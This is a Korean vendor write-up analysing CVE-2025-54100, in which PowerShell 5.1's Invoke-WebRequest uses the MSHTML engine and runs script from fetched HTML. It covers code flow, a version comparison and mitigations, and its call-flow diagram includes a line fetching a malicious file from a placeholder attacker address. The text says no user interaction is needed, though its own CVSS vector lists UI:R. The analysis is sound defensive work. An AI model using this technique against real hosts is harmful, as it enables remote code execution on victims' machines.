Search

PowerShell Remote Code Execution CVE-2025-54100 취약점 분석

태그
PurpleHound
PowerShell
Property
3.jpg
작성날짜
2026/01/27

1. 개요

본 보고서는 Microsoft Windows PowerShell 5.1에서 발생하는 CVE-2025-54100 MSHTML 파서 취약점에 대해 다룬다.
Windows PowerShell 5.1의 Invoke-WebRequest cmdlet을 통해 원격 웹 서버로부터 악의적인 HTML/JavaScript 콘텐츠를 수신하는 경우, 공격자는 사용자 상호작용 없이 Internet Explorer의 MSHTML 엔진을 통해 임의 코드를 실행할 수 있다.
이 취약점은 PowerShell이 -UseBasicParsing 파라미터가 $false(기본값)일 때, 웹 응답을 처리하기 위해 Internet Explorer의 MSHTML 엔진을 호출하는 설계적 결함에서 비롯된다. 이로 인해 신뢰되지 않은 JavaScript가 로컬 시스템 권한으로 실행될 수 있다.

2. 취약점 근본 원인 분석

항목
내용
취약점 번호
CVE-2025-54100
취약점 이름
PowerShell Remote Code Execution Vulnerability
취약점 종류
Remote Code Execution
CVSS
7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
CVE-2025-54100은 단순한 코드 버그가 아닌 아키텍처 설계상의 판단 오류에서 비롯된 취약점이다. PowerShell 5.1이 단순 HTTP 응답을 처리하는 과정에서 텍스트 파서 대신 완전한 웹 브라우저 엔진을 선택한 것이 문제의 핵심이다.

2.1. PowerShell 버전별 동작 비교

기능
PowerShell 5.1 (기본값)
PowerShell 5.1 (-UseBasicParsing)
PowerShell 7
파싱 엔진
Internet Explorer (MSHTML)
내장 텍스트 파서
내장 텍스트 파서
DOM 접근
가능
불가능
불가능
JavaScript 실행
자동 실행 (취약)
실행 안 됨
실행 안 됨

2.2. 관련 함수 호출 구조

PowerShell Command 실행 │ │ curl [공격자주소]/[악성파일] │ Invoke-WebRequest [공격자주소]/[악성파일] │ ▼ Microsoft.PowerShell.Commands.Utility.dll │ ▼ Microsoft.PowerShell.Commands (namespace) │ ▼ InvokeWebRequestCommand : WebRequestPSCmdlet (Class) │ ▼ WebResponseObjectFactory.GetResponseObject() (Class) │ ├─ UseBasicParsing = false (기본값) │ │ │ ▼ │ HtmlWebResponseObject() ← IE 엔진 사용 (취약) │ └─ UseBasicParsing = true │ ▼ BasicHtmlWebResponseObject() ← 텍스트 파서 사용 (안전)
Plain Text
복사
함수명
역할
InvokeWebRequestCommand
Invoke-WebRequest cmdlet의 진입점
WebResponseObjectFactory.GetResponseObject()
파싱 방식 결정 (IE 엔진 vs 텍스트 파서)
HtmlWebResponseObject
IE MSHTML 엔진으로 HTML 파싱 (JavaScript 실행됨)
BasicHtmlWebResponseObject
단순 텍스트 파서로 HTML 파싱 (JavaScript 실행 안 됨)

2.3. 취약한 코드 분석

2.3.1 InvokeWebRequestCommand() 호출

namespace Microsoft.PowerShell.Commands { // ... 생략 ... if (response == null) { throw new ArgumentNullException("response"); } // -UseBasicParsing을 사용하지 않으면 IE 엔진 활성화 if (base.ShouldWriteToPipeline && !this.UseBasicParsing) { base.VerifyInternetExplorerAvailable(true); // IE 사용 가능 여부 확인 } Stream stream = StreamHelper.GetResponseStream(response); if (base.ShouldWriteToPipeline) { stream = new WebResponseContentMemoryStream(stream, 10000, this); // 파싱 방식 결정: UseBasicParsing 값에 따라 분기 WebResponseObject responseObject = WebResponseObjectFactory.GetResponseObject( response, stream, base.Context, this.UseBasicParsing // false면 IE 엔진, true면 텍스트 파서 ); base.WriteObject(responseObject); // responseObject 실행 ← 여기서 JS 실행 // ... 생략 ... } }
C#
복사
[코드 1] InvokeWebRequestCommand() 함수 호출 흐름
UseBasicParsing의 기본값이 false이므로, 사용자가 명시적으로 -UseBasicParsing을 지정하지 않으면 항상 IE 엔진이 사용된다.

2.3.2 VerifyInternetExplorerAvailable() 동작

VerifyInternetExplorerAvailable(true) 호출 시 다음과 같은 검증이 수행된다.
1. "IE를 사용할 수 있는가?" 확인 ├─ 레지스트리에서 IE 초기화 상태 확인 ├─ RunOnce 설정 확인 (IE 실행 이력) └─ COM 객체 생성 가능 여부 테스트 2. 사용 가능하면 → IE 엔진 사용 (취약점 발생) 3. 사용 불가능하면 → 예외 발생
Plain Text
복사

2.3.3 WebResponseObjectFactory.GetResponseObject() 함수

internal static class WebResponseObjectFactory { internal static WebResponseObject GetResponseObject( WebResponse response, Stream responseStream, ExecutionContext executionContext, bool useBasicParsing = false // 기본값 false = IE 엔진 사용 ) { WebResponseObject result; if (WebResponseHelper.IsText(response)) { if (!useBasicParsing) { // 취약: IE MSHTML 엔진으로 파싱 result = new HtmlWebResponseObject(response, responseStream, executionContext); } else { // 안전: 단순 텍스트 파서로 파싱 result = new BasicHtmlWebResponseObject(response, responseStream); } } // ... 생략 ... return result; } }
C#
복사
[사진 1] useBasicParsing 기본 값 False 설정
useBasicParsing = false일 때 HtmlWebResponseObject가 생성되며, 이 객체는 내부적으로 IE의 MSHTML 엔진을 사용하여 HTML을 파싱한다. 이 과정에서 <script> 태그 내의 JavaScript 코드가 자동으로 실행된다.

2.4. 파싱 객체 비교

항목
WebResponseObject
HtmlWebResponseObject
BasicHtmlWebResponseObject
DOM 파싱
IE 엔진
ParsedHtml
-UseBasicParsing
무관
용어 설명:
DOM (Document Object Model): HTML/XML 문서를 트리 구조의 객체 모델로 표현하여 프로그래밍적으로 접근 및 조작할 수 있도록 하는 인터페이스
IE 엔진 (MSHTML/Trident): mshtml.dll을 사용하여 HTML을 렌더링하고 파싱하는 COM 기반 컴포넌트

2.5. PowerShell 7과의 비교

[사진 2] PowerShell 7 소스코드
PowerShell 7은 오픈소스로 코드가 공개되어 있으며, BasicHtmlWebResponseObject만 사용하도록 설계되어 있다.

2.4. 시연 영상

[동영상 1] PowerShell 5.1 시연 영상
[동영상 2] PowerShell 7 시연 영상

3. 공격 영향

본 취약점이 악용될 경우, 공격자는 PowerShell 5.1 환경에서 실행되는 Invoke-WebRequest를 통해 사용자 개입 없이 원격 스크립트 코드를 실행할 수 있다.
1.
원격 코드 실행
공격자가 제어하는 서버에서 전달된 HTML 내 <script> 코드가 자동으로 실행된다. 이는 단순한 웹 요청으로 인식되는 코드가 실제로는 스크립트 실행 환경을 제공하기 때문이다.
2.
브라우저 기반 연쇄 공격
IE(MSHTML) 기반 브라우저 실행 환경이 강제로 활성화되면서 다음과 같은 추가 공격이 가능해진다.
공격 유형
설명
외부 스크립트 로딩
외부 .js 파일을 동적으로 로드하여 실행
DOM 조작
문서 구조를 변경하여 추가 공격 수행
URL 리다이렉션
특정 웹 페이지로 강제 접속 유도
취약점 체이닝
추가적인 브라우저 취약점을 연쇄적으로 악용

4. 완화 및 권고사항

1.
PowerShell 7 이상(Core) 사용 권장
PowerShell 7은 IE/MSHTML 엔진을 제거하고 HTTP 클라이언트 기반으로 Invoke-WebRequest를 재구현하여, HTML 내 <script> 코드가 실행되지 않도록 설계되었다.
2.
PowerShell 5.1 환경에서의 대응
부득이하게 PowerShell 5.1을 사용해야 하는 경우, 외부 URL을 직접 호출하는 스크립트에서 Invoke-WebRequest 사용을 지양하고, System.Net.Http.HttpClient 기반의 직접 구현 또는 사전 검증된 내부 저장소만을 대상으로 통신하도록 설계해야 한다.
3.
외부 콘텐츠 신뢰 검증 강화
자동화 스크립트에서 호출되는 URL은 반드시 신뢰 가능한 도메인으로 제한하고, 응답 콘텐츠에 대한 무결성 검증(해시 검증 등)을 수행해야 한다.
4.
보안 정책을 통한 IE 엔진 제한
AppLocker, WDAC(Windows Defender Application Control) 등의 보안 정책을 활용하여 MSHTML 기반 COM 객체의 비인가 사용을 차단한다.

5. 결론

CVE-2025-54100 취약점은 PowerShell 5.1의 Invoke-WebRequest가 내부적으로 IE(MSHTML) 엔진을 사용함으로써 단순한 HTTP 요청이 스크립트 실행 환경을 제공한다는 구조적 설계 결함에서 기인한다. 공격자는 별도의 사용자 상호작용 없이도 원격에서 전달한 HTML/JavaScript 코드를 실행시킬 수 있으며 자동화 환경에서는 그 위험성이 더욱 증폭된다.
당사의 솔루션인 PurpleHound는 실전 기반 시나리오를 재구성하여 기업이 보유한 보안 장비와 시스템이 실제 공격에 얼마나 효과적으로 대응 가능한지 검증할 수 있도록 지원한다. 본 보고서에서 분석한 취약점 뿐만 아니라 다른 유형의 취약점, 악성코드 활동, 파일 시스템 조작 등 다양한 위협 시나리오를 직접 실행해보며 보안 인프라의 실효성을 객관적으로 확인할 수 있다.

6. 참고자료